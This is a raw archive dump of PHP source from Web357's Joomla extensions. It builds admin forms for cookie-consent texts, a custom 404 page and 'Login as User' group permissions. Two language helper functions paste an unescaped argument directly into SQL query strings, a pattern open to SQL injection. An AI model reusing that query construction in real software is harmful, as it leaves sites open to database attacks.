$lang->getTag(); $extension = 'plg_system_custom404errorpage'; $base_dir = JPATH_SITE.'/plugins/system/custom404errorpage/'; $reload = true; $lang->load($extension, $base_dir, $current_lang_tag, $reload); } // END: custom404errorpage - Joomla! Plugin // BEGIN: Login as User - Joomla! Plugin (add extra fields for user groups and admins) if ($element == 'loginasuser') { // Get User Groups $db = Factory::getDbo(); $query = $db->getQuery(true); $query->select('id, title'); $query->from('#__usergroups'); $query->where('parent_id > 0'); $query->order('lft ASC'); $db->setQuery($query); $usergroups = $db->loadObjectList(); if (!empty($usergroups)) { foreach ($usergroups as $usergroup) { $this->getUsersFormFieldLoginAsUser($form, $usergroup->id, htmlspecialchars($usergroup->title)); } } } // END: Login as User - Joomla! Plugin (add extra fields for user groups and admins) } return true; } public function getLangForm($form, $language_name = "English", $lang_code = "en_GB") { $jVersion = new Version(); $currentVersion = $jVersion->getShortVersion(); if (isset($form)) { // start building xml file $xmlText = '<?xml version="1.0" encoding="utf-8"?> <form> <fields> <fieldset name="texts_for_languages" addfieldprefix="Joomla\Component\Menus\Administrator\Field">'; // HEADER $xmlText .= '<field type="langheader" name="header_'.$lang_code.'" class="w357_large_header" addfieldpath="/plugins/system/cookiespolicynotificationbar/elements" lang_code="'.$lang_code.'" language_name="'.$language_name.'" />'; // SMALL HEADER: Texts for the Cookies Policy Notification Bar $xmlText .= '<field type="header" class="w357_small_header" label="PLG_SYSTEM_CPNB_TEXTS_FOR_THE_BAR_HEADER" />'; // MESSAGE $xmlText .= '<field name="header_message_'.$lang_code.'" type="textarea" default="'.Text::_('J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_HEADER_MESSAGE_DEFAULT').'" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_HEADER_MESSAGE_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_HEADER_MESSAGE_DESC" rows="6" cols="50" filter="raw" class="cpnb-notification-bar-message w357-display-inline-block" />'; // OK BUTTON $xmlText .= '<field name="ok_btn_'.$lang_code.'" type="radio" class="btn-group btn-group-yesno" default="1" label="PLG_SYSTEM_CPNB_OK_BTN_LBL" description="PLG_SYSTEM_CPNB_OK_BTN_DESC"> <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field>'; // OK BUTTON TEXT $xmlText .= '<field name="button_text_'.$lang_code.'" type="text" default="'.Text::_('J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_DEFAULT_TEXT_VALUE').'" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_TEXT_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_TEXT_DESC" filter="STRING" showon="ok_btn_'.$lang_code.':1" />'; // DECLINE BUTTON $xmlText .= '<field name="decline_btn_'.$lang_code.'" type="radio" class="btn-group btn-group-yesno" default="1" label="PLG_SYSTEM_CPNB_DECLINE_BTN_LBL" description="PLG_SYSTEM_CPNB_DECLINE_BTN_DESC"> <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field>'; // DECLINE BUTTON TEXT $xmlText .= '<field name="decline_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_DECLINE_BTN_DEFAULT_TEXT_VALUE').'" label="PLG_SYSTEM_CPNB_DECLINE_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_DECLINE_BTN_TEXT_DESC" filter="STRING" showon="decline_btn_'.$lang_code.':1" />'; // CANCEL BUTTON $xmlText .= '<field name="cancel_btn_'.$lang_code.'" type="radio" class="btn-group btn-group-yesno" default="0" label="PLG_SYSTEM_CPNB_CANCEL_BTN_LBL" description="PLG_SYSTEM_CPNB_CANCEL_BTN_DESC"> <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field>'; // CANCEL BUTTON TEXT $xmlText .= '<field name="cancel_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_CANCEL_BTN_DEFAULT_TEXT_VALUE').'" label="PLG_SYSTEM_CPNB_CANCEL_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_CANCEL_BTN_TEXT_DESC" filter="STRING" showon="cancel_btn_'.$lang_code.':1" />'; // SETTINGS BUTTON $xmlText .= '<field name="settings_btn_'.$lang_code.'" type="radio" class="btn-group btn-group-yesno" default="1" showon="modalState:1" label="PLG_SYSTEM_CPNB_SETTINGS_BTN_LBL" description="PLG_SYSTEM_CPNB_SETTINGS_BTN_DESC"> <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field>'; // SETTINGS BUTTON TEXT $xmlText .= '<field name="settings_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_SETTINGS_BTN_DEFAULT_TEXT_VALUE').'" label="PLG_SYSTEM_CPNB_SETTINGS_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_SETTINGS_BTN_TEXT_DESC" filter="STRING" showon="settings_btn_'.$lang_code.':1" />'; // MORE INFO BUTTON $xmlText .= '<field name="more_info_btn_'.$lang_code.'" type="radio" class="btn-group btn-group-yesno cpnb-modal-info-window" default="1" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MOR_INFO_BTN_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MOR_INFO_BTN_DESC"> <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field>'; // BUTTON MORE TEXT $xmlText .= '<field name="button_more_text_'.$lang_code.'" type="text" default="'.Text::_('J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_MORETEXT_DEFAULT_VALUE').'" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_MORETEXT_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_MORETEXT_DESC" filter="STRING" showon="more_info_btn_'.$lang_code.':1" />'; // LINK OR Menu Item $xmlText .= '<field name="more_info_btn_type_'.$lang_code.'" type="list" default="custom_text" showon="more_info_btn_'.$lang_code.':1" class="cpnb-modal-info-window" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MORE_INFO_BTN_TYPE_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MORE_INFO_BTN_TYPE_DESC"> <option value="link">J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MORE_INFO_BTN_TYPE_OPTION_LINK</option> <option value="menu_item">J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MORE_INFO_BTN_TYPE_OPTION_MENU_ITEM</option> <option value="custom_text">J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_MORE_INFO_BTN_TYPE_OPTION_CUSTOM_TEXT</option> </field>'; // CUSTOM TEXT $xmlText .= '<field name="custom_text_'.$lang_code.'" type="editor" default="'.Text::_('J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_CUSTOM_TEXT_DEFAULT').'" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_CUSTOM_TEXT_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_CUSTOM_TEXT_DESC" width="300" filter="safehtml" showon="more_info_btn_'.$lang_code.':1[AND]more_info_btn_type_'.$lang_code.':custom_text" class="cpnb-modal-info-window" />'; // CUSTOM LINK FOR THE MORE INFO BUTTON $xmlText .= '<field name="button_more_link_'.$lang_code.'" type="url" default="cookies-policy" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_MORELINK_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_BUTTON_MORELINK_DESC" showon="more_info_btn_'.$lang_code.':1[AND]more_info_btn_type_'.$lang_code.':link" />'; // MODAL MENU ITEM $xmlText .= '<field name="cpnb_modal_menu_item_'.$lang_code.'" type="modal_menu" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_SELECT_MENU_ITEM_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_SELECT_MENU_ITEM_DESC" required="false" select="true" new="true" edit="true" clear="true" addfieldpath="/administrator/components/com_menus/models/fields" showon="more_info_btn_'.$lang_code.':1[AND]more_info_btn_type_'.$lang_code.':menu_item" />'; // LINK TARGET $xmlText .= '<field name="link_target_'.$lang_code.'" type="list" default="_self" showon="more_info_btn_'.$lang_code.':1[AND]more_info_btn_type_'.$lang_code.'!:custom_text" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_LINK_TARGET_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_LINK_TARGET_DESC"> <option value="_self">J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_LINK_TARGET_SAME_LBL</option> <option value="_blank">J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_LINK_TARGET_NEW_LBL</option> <option value="popup">J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_LINK_TARGET_POPUP_WINDOW_LBL</option> </field>'; // POPUP WINDOW WIDTH $xmlText .= '<field name="popup_width_'.$lang_code.'" type="text" default="800" showon="more_info_btn_'.$lang_code.':1[AND]link_target_'.$lang_code.':popup[AND]more_info_btn_type_'.$lang_code.'!:custom_text" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_POPUP_WINDOW_WIDTH_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_POPUP_WINDOW_WIDTH_DESC" />'; // POPUP WINDOW HEIGHT $xmlText .= '<field name="popup_height_'.$lang_code.'" type="text" default="600" showon="more_info_btn_'.$lang_code.':1[AND]link_target_'.$lang_code.':popup[AND]more_info_btn_type_'.$lang_code.'!:custom_text" label="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_POPUP_WINDOW_HEIGHT_LBL" description="J357_PLG_SYSTEM_COOKIESPOLICYNOTIFICATIONBAR_POPUP_WINDOW_HEIGHT_DESC" />'; // SMALL HEADER: Texts for the Shortcode Functionality $xmlText .= '<field type="header" class="w357_small_header" label="PLG_SYSTEM_CPNB_TEXTS_FOR_THE_SHORTCODE_HEADER" showon="enable_shortcode_functionality:1" />'; $xmlText .= '<field name="note_texts_for_the_shortcode_'.$lang_code.'" type="note" label="" description="'.Text::_('PLG_SYSTEM_CPNB_TEXTS_FOR_THE_SHORTCODE_NOTE').'" showon="enable_shortcode_functionality:1" />'; // TEXT BEFORE ACCEPT/DECLINE $xmlText .= '<field type="header" class="w357_small_header" label="PLG_SYSTEM_CPNB_TEXT_BEFORE_ACCEPT_DECLINE_LBL" showon="enable_shortcode_functionality:1" />'; $text_before_accept_decline_default = '<p>The cookies on this website are disabled.<br>This decision can be reversed anytime by clicking the below button "Allow Cookies".</p><div class="cpnb-margin">{cpnb_buttons}</div>'; $xmlText .= '<field name="shortcode_text_before_accept_or_decline_'.$lang_code.'" type="editor" default="'.$text_before_accept_decline_default.'" label="" description="PLG_SYSTEM_CPNB_TEXT_BEFORE_ACCEPT_DECLINE_DESC" width="300" filter="safehtml" showon="enable_shortcode_functionality:1" />'; // TEXT AFTER ACCEPT $xmlText .= '<field type="header" class="w357_small_header" label="PLG_SYSTEM_CPNB_TEXT_AFTER_ACCEPT_LBL" showon="enable_shortcode_functionality:1" />'; $text_after_accept_default = '<h3>Cookies served through our website</h3><div class="cpnb-margin">{cpnb_cookies_info_table}</div><p>You have allowed website's cookies to be placed on your browser.</p><p>This decision can be reversed anytime by clicking the below button "Delete Cookies".</p><div class="cpnb-margin">{cpnb_buttons}</div>'; $xmlText .= '<field name="shortcode_text_after_accept_'.$lang_code.'" type="editor" default="'.$text_after_accept_default.'" label="" description="PLG_SYSTEM_CPNB_TEXT_AFTER_ACCEPT_DESC" width="300" filter="safehtml" showon="enable_shortcode_functionality:1" />'; // TEXT AFTER DECLINE $xmlText .= '<field type="header" class="w357_small_header" label="PLG_SYSTEM_CPNB_TEXT_AFTER_DECLINE_LBL" showon="enable_shortcode_functionality:1" />'; $text_after_decline_default = '<p>The cookies on this website are declined by you earlier.</p><p>This decision can be reversed anytime by clicking the below button "Allow Cookies".</p><h3>Cookies served through our website</h3><div class="cpnb-margin">{cpnb_cookies_info_table}</div><div class="cpnb-margin">{cpnb_buttons}</div>'; $xmlText .= '<field name="shortcode_text_after_decline_'.$lang_code.'" type="editor" default="'.$text_after_decline_default.'" label="" description="PLG_SYSTEM_CPNB_TEXT_AFTER_DECLINE_DESC" width="300" filter="safehtml" showon="enable_shortcode_functionality:1" />'; // SMALL HEADER: Other texts for translations $xmlText .= '<field type="header" class="w357_small_header" label="PLG_SYSTEM_CPNB_OTHER_TEXTS_FOR_TRANSLATIONS_HEADER" showon="enable_shortcode_functionality:1[OR]modalState:1" />'; // BUTTONS (Note) $xmlText .= '<field name="note_buttons_'.$lang_code.'" type="note" label="PLG_SYSTEM_CPNB_BUTTONS_NOTE_LBL" description="" showon="enable_shortcode_functionality:1[OR]modalState:1" />'; // ALLOW COOKIES BUTTON TEXT $xmlText .= '<field name="allow_cookies_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_ALLOW_COOKIES').'" label="PLG_SYSTEM_CPNB_ALLOW_COOKIES_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_ALLOW_COOKIES_BTN_TEXT_DESC" filter="STRING" showon="enable_shortcode_functionality:1[OR]modalState:1" />'; // DECLINE COOKIES BUTTON TEXT $xmlText .= '<field name="decline_cookies_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_DECLINE_COOKIES').'" label="PLG_SYSTEM_CPNB_DECLINE_COOKIES_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_DECLINE_COOKIES_BTN_TEXT_DESC" filter="STRING" showon="enable_shortcode_functionality:1[OR]modalState:1" />'; // DELETE COOKIES BUTTON TEXT $xmlText .= '<field name="delete_cookies_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_DELETE_COOKIES').'" label="PLG_SYSTEM_CPNB_DELETE_COOKIES_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_DELETE_COOKIES_BTN_TEXT_DESC" filter="STRING" showon="enable_shortcode_functionality:1" />'; // RELOAD COOKIES BUTTON TEXT $xmlText .= '<field name="reload_cookies_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_RELOAD').'" label="PLG_SYSTEM_CPNB_RELOAD_COOKIES_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_RELOAD_COOKIES_BTN_TEXT_DESC" filter="STRING" showon="enable_shortcode_functionality:1" />'; // SAVE SETTINGS BUTTON TEXT $xmlText .= '<field name="save_settings_btn_text_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_SAVE_SETTINGS').'" label="PLG_SYSTEM_CPNB_SAVE_SETTINGS_BTN_TEXT_LBL" description="PLG_SYSTEM_CPNB_SAVE_SETTINGS_BTN_TEXT_DESC" filter="STRING" showon="modalState:1" />'; // ALERT MESSAGES (Note) $xmlText .= '<field name="note_alert_messages_'.$lang_code.'" type="note" label="PLG_SYSTEM_ALERT_MESSAGES_NOTE_LBL" description="" />'; // ALLOW COOKIES CONFIRMATION ALERT $xmlText .= '<field name="allow_cookies_confirmation_alert_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_ALLOW_COOKIES_CONFIRMATION').'" label="PLG_SYSTEM_CPNB_ALLOW_COOKIES_CONFIRMATION_LBL" description="PLG_SYSTEM_CPNB_ALLOW_COOKIES_CONFIRMATION_DESC" rows="6" cols="50" filter="raw" />'; // DELETE COOKIES CONFIRMATION ALERT $xmlText .= '<field name="delete_cookies_confirmation_alert_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_DELETE_COOKIES_CONFIRMATION').'" label="PLG_SYSTEM_CPNB_DELETE_COOKIES_CONFIRMATION_LBL" description="PLG_SYSTEM_CPNB_DELETE_COOKIES_CONFIRMATION_DESC" rows="6" cols="50" filter="raw" />'; // LOCKED COOKIES CATEGORY CONFIRMATION ALERT $xmlText .= '<field name="locked_cookies_category_confirmation_alert_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_LOCKED_COOKIES_CATEGORY_CONFIRMATION').'" label="PLG_SYSTEM_CPNB_LOCKED_COOKIES_CATEGORY_CONFIRMATION_LBL" description="PLG_SYSTEM_CPNB_LOCKED_COOKIES_CATEGORY_CONFIRMATION_DESC" rows="6" cols="50" filter="raw" showon="modalState:1" />'; // OTHER TEXTS (Note) $xmlText .= '<field name="note_other_texts_'.$lang_code.'" type="note" label="PLG_SYSTEM_OTHER_TEXTS_LBL" description="" showon="enable_shortcode_functionality:1" />'; // ACCEPT COOKIE DESCRIPTION $xmlText .= '<field name="accept_cookies_descrpiption_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_ACCEPT_COOKIES_DESCRIPTION_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_ACCEPT_COOKIES_DESCRIPTION_LBL" description="PLG_SYSTEM_CPNB_ACCEPT_COOKIES_DESCRIPTION_DESC" rows="6" cols="50" filter="raw" showon="enable_shortcode_functionality:1" />'; // DECLINE COOKIE DESCRIPTION $xmlText .= '<field name="decline_cookies_descrpiption_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_DECLINE_COOKIES_DESCRIPTION_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_DECLINE_COOKIES_DESCRIPTION_LBL" description="PLG_SYSTEM_CPNB_DECLINE_COOKIES_DESCRIPTION_DESC" rows="6" cols="50" filter="raw" showon="enable_shortcode_functionality:1" />'; // SETTINGS COOKIE DESCRIPTION $xmlText .= '<field name="settings_cookies_descrpiption_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_SETTINGS_COOKIES_DESCRIPTION_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_SETTINGS_COOKIES_DESCRIPTION_LBL" description="PLG_SYSTEM_CPNB_SETTINGS_COOKIES_DESCRIPTION_DESC" rows="6" cols="50" filter="raw" showon="enable_shortcode_functionality:1" />'; // PLEASE WAIT $xmlText .= '<field name="please_wait_txt_'.$lang_code.'" type="textarea" default="'.Text::_('PLG_SYSTEM_CPNB_PLEASE_WAIT').'" label="PLG_SYSTEM_CPNB_PLEASE_WAIT_LBL" description="PLG_SYSTEM_CPNB_PLEASE_WAIT_DESC" rows="6" cols="50" filter="raw" showon="enable_shortcode_functionality:1" />'; // MINUTE $xmlText .= '<field name="minute_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_MINUTE_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_MINUTE_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // MINUTES $xmlText .= '<field name="minutes_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_MINUTES_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_MINUTES_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // HOUR $xmlText .= '<field name="hour_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_HOUR_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_HOUR_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // HOURS $xmlText .= '<field name="hours_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_HOURS_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_HOURS_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // DAY $xmlText .= '<field name="day_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_DAY_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_DAY_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // DAYS $xmlText .= '<field name="days_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_DAYS_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_DAYS_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // MONTH $xmlText .= '<field name="month_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_MONTH_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_MONTH_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // MONTHS $xmlText .= '<field name="months_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_MONTHS_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_MONTHS_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // YEAR $xmlText .= '<field name="year_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_YEAR_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_YEAR_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // YEARS $xmlText .= '<field name="years_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_YEARS_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_YEARS_LBL" description="PLG_SYSTEM_CPNB_TIME_DESC" filter="raw" showon="enable_shortcode_functionality:1" />'; // FLOAT ICON BUTTON TEXT $xmlText .= '<field name="float_icon_button_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_FLOAT_ICON_BUTTON_TEXT_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_FLOAT_ICON_BUTTON_TEXT_LBL" description="PLG_SYSTEM_CPNB_FLOAT_ICON_BUTTON_TEXT_DESC" filter="raw" showon="modalState:1[AND]modalFloatButtonState:1" />'; // COOKIES MANAGER HEADING TEXT $xmlText .= '<field name="cookies_manager_heading_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_COOKIES_MANAGER_HEADING_TEXT_DEFAULT_TEXT').'" label="PLG_SYSTEM_CPNB_COOKIES_MANAGER_HEADING_TEXT_LBL" description="PLG_SYSTEM_CPNB_COOKIES_MANAGER_HEADING_TEXT_DESC" filter="raw" showon="modalState:1" />'; // COOKIES CATEGORY CHECKBOX LABEL TEXT $xmlText .= '<field name="cookies_category_checkbox_label_txt_'.$lang_code.'" type="text" default="'.Text::_('JENABLED').'" label="PLG_SYSTEM_CPNB_COOKIES_CATEGORY_CHECKBOX_LABEL_TEXT_LBL" description="PLG_SYSTEM_CPNB_COOKIES_CATEGORY_CHECKBOX_LABEL_TEXT_DESC" filter="raw" showon="modalState:1" />'; // COOKIES CATEGORY LOCKED TEXT $xmlText .= '<field name="cookies_category_locked_txt_'.$lang_code.'" type="text" default="'.Text::_('PLG_SYSTEM_CPNB_COOKIES_CATEGORY_LOCKED_TEXT_DEFAULT').'" label="PLG_SYSTEM_CPNB_COOKIES_CATEGORY_LOCKED_TEXT_LBL" description="PLG_SYSTEM_CPNB_COOKIES_CATEGORY_LOCKED_TEXT_DESC" filter="raw" showon="modalState:1" />'; // OLD TEXTS FOR LANGUAGES if (version_compare($currentVersion, '4.0', '<')) { $xmlText .= '<field name="textsforlanguagesold" id="textsforlanguagesold" type="textsforlanguagesold" default="600" addfieldpath="/plugins/system/cookiespolicynotificationbar/elements" />'; } $xmlText .= '<field type="spacer" name="myspacer" hr="true" />'; // closing xml file $xmlText .= ' </fieldset> </fields> </form>'; $xmlObj = new SimpleXMLElement($xmlText); $form->setField($xmlObj, 'params', true, 'texts_for_languages'); } } public function getLangFormCustom404ErrorPage($form, $language_name = "English", $lang_code = "en_GB") { if (isset($form)) { // start building xml file $xmlText = '<?xml version="1.0" encoding="utf-8"?> <form> <fields> <fieldset name="texts_for_languages_custom404errorpage" addfieldprefix="Joomla\Component\Menus\Administrator\Field">'; // HEADER $xmlText .= '<field type="langheader" name="header_'.$lang_code.'" class="w357_large_header" addfieldpath="/plugins/system/custom404errorpage/elements" lang_code="'.$lang_code.'" language_name="'.$language_name.'" />'; // LINK OR Menu Item $xmlText .= '<field name="custom404erropage_link_type_'.$lang_code.'" type="list" default="core" label="PLG_SYSTEM_CUSTOM404ERRORPAGE_SELECT_ERROR_404_REDIRECT_TYPE_LBL" description="PLG_SYSTEM_CUSTOM404ERRORPAGE_SELECT_ERROR_404_REDIRECT_TYPE_DESC"> <option value="core">PLG_SYSTEM_CUSTOM404ERRORPAGE_SELECT_ERROR_404_REDIRECT_TYPE_OPTION_CORE</option> <option value="menu_item">PLG_SYSTEM_CUSTOM404ERRORPAGE_SELECT_ERROR_404_REDIRECT_TYPE_OPTION_MENU_ITEM</option> </field>'; // MENU ITEM $xmlText .= '<field name="custom404erropage_menu_item_'.$lang_code.'" type="modal_menu" label="PLG_SYSTEM_CUSTOM404ERRORPAGE_SELECT_ERROR_404_REDIRECT_TYPE_OPTION_MENU_ITEM" description="" required="false" select="true" new="true" edit="true" clear="true" addfieldpath="/administrator/components/com_menus/models/fields" showon="custom404erropage_link_type_'.$lang_code.':menu_item" />'; // closing xml file $xmlText .= ' </fieldset> </fields> </form>'; $xmlObj = new SimpleXMLElement($xmlText); $form->setField($xmlObj, 'params', true, 'texts_for_languages'); } } public function getUsersFormFieldLoginAsUser($form, $usergroup_id, $usergroup_name) { if (isset($form)) { // start building xml file $xmlText = '<?xml version="1.0" encoding="utf-8"?> <form> <fields> <fieldset name="loginasuser" addfieldprefix="Joomla\Component\Menus\Administrator\Field">'; // HEADER $xmlText .= '<field type="header" name="header_'.$usergroup_id.'" class="w357_small_header" label="'.$usergroup_name.' ('.Text::_('PLG_LOGINASUSER_USER_GROUP').')" />'; // ENABLE/DISABLED FOR THIS USER GROUP $xmlText .= '<field name="enable_'.$usergroup_id.'_loginasuser" type="radio" class="btn-group btn-group-yesno" default="1" label="PLG_LOGINASUSER_ENABLE_FOR_THIS_USERGROUP_LBL" description="PLG_LOGINASUSER_ENABLE_FOR_THIS_USERGROUP_DESC"> <option value="1">JENABLED</option> <option value="0">JDISABLED</option> </field>'; // NOTE $xmlText .= '<field name="note_'.$usergroup_id.'" type="note" label="" description="'.Text::_('PLG_LOGINASUSER_USER_GROUP_NOTE').'" showon="enable_'.$usergroup_id.'_loginasuser:1" />'; // USERS $xmlText .= '<field name="users_'.$usergroup_id.'" type="sql" label="PLG_LOGINASUSER_SELECT_ADMINS_LBL" description="PLG_LOGINASUSER_SELECT_ADMINS_DESC" query="SELECT u.id AS value, CONCAT(u.name, \' (\', GROUP_CONCAT(ug.title), \')\') AS users_'.$usergroup_id.' FROM #__users AS u LEFT JOIN #__user_usergroup_map AS ugm ON u.id = ugm.user_id LEFT JOIN #__usergroups AS ug ON ugm.group_id = ug.id WHERE (ug.id=8 OR ug.id=7 OR ug.id=6) GROUP BY u.id ORDER BY u.name ASC" multiple="true" showon="enable_'.$usergroup_id.'_loginasuser:1" />'; $xmlText .= '<field type="spacer" name="myspacer_'.$usergroup_id.'" hr="true" />'; // closing xml file $xmlText .= ' </fieldset> </fields> </form>'; $xmlObj = new SimpleXMLElement($xmlText); $form->setField($xmlObj, 'params', true, 'permissions_for_loginasuser'); } } public function getDefaultLanguageName() { $db = Factory::getDBO(); $query = "SELECT title_native " ."FROM #__languages " ."WHERE published = 1" ; $db->setQuery($query); $db->execute(); return $db->loadResult(); } public function getLanguageNameByTag($tag) { $db = Factory::getDBO(); $query = "SELECT title_native " ."FROM #__languages " ."WHERE lang_code = '".$tag."' AND published = 1" ; $db->setQuery($query); $db->execute(); $result = $db->loadResult(); // If there are more than one language if ($result !== null): return $result; // If there is only one language else: return $this->getDefaultLanguageName(); endif; } public function getLanguageImage($lang_code) { $db = Factory::getDBO(); $query = "SELECT image " ."FROM #__languages " ."WHERE lang_code = '".$lang_code."' AND published = 1" ; $db->setQuery($query); $db->execute(); $result = $db->loadResult(); // If there are more than one language if ($result !== null): return $result; // If there is only one language else: return ''; endif; } } endif;index.html000060400000000043151666570200006542 0ustar00<!DOCTYPE html><title></title> web357framework.class.php000060400000035205151721520510011313 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die('Restricted access'); use Joomla\Utilities\IpHelper; use Joomla\CMS\Version; use Joomla\CMS\Language\Text; use Joomla\CMS\Factory; use Joomla\Registry\Registry; if (!class_exists('Web357FrameworkHelperClass')): class Web357FrameworkHelperClass { var $is_j25x = ''; var $is_j3x = ''; var $apikey = ''; function __construct() { // Define the DS (DIRECTORY SEPARATOR) $this->defineDS(); // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 